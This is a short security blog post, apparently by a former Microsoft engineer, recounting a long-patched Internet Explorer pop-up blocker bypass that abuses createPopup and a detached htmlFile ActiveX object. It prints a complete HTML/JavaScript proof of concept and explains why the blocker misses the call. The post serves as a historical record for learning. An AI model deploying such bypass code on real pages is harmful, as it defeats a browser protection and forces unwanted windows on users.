While playing around with createPopup again, a variation of an older pop-up blocker bypass surfaced. The trick involved instantiating an htmlFile ActiveX object inside a createPopup, destroying the popup’s document to partially detach the ActiveX, then using a window.open call through the orphaned object to bypass the pop-up blocker.

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>popBlockerBypass_Revival</title>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" />
</head>
<body>
<script language="JavaScript">
var cp = createPopup();
cp.document.parentWindow.execScript('parent.ax = new ActiveXObject("htmlFile");');

cp.document.open();
cp.document.close();

ax.write('<object id="obj" data="dummy.html" type="text/html"></object>');
ax.close();

window.onload = function()
{
	w = ax.all.obj.object.parentWindow;

	w.open("http://www.bing.com", "", "width=300,height=300");
}


</script>
</body>
</html>

The htmlFile ActiveX object was retrieved through the createPopup’s parent window before the document was reset. Calling cp.document.open() and cp.document.close() effectively destroyed the popup’s document context, but the ax reference persisted. Writing an HTML <object> element into that detached htmlFile and then calling open() through its parentWindow produced a pop-up that bypassed the browser’s blocker because the call originated from a context the blocker didn’t track as user-initiated.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.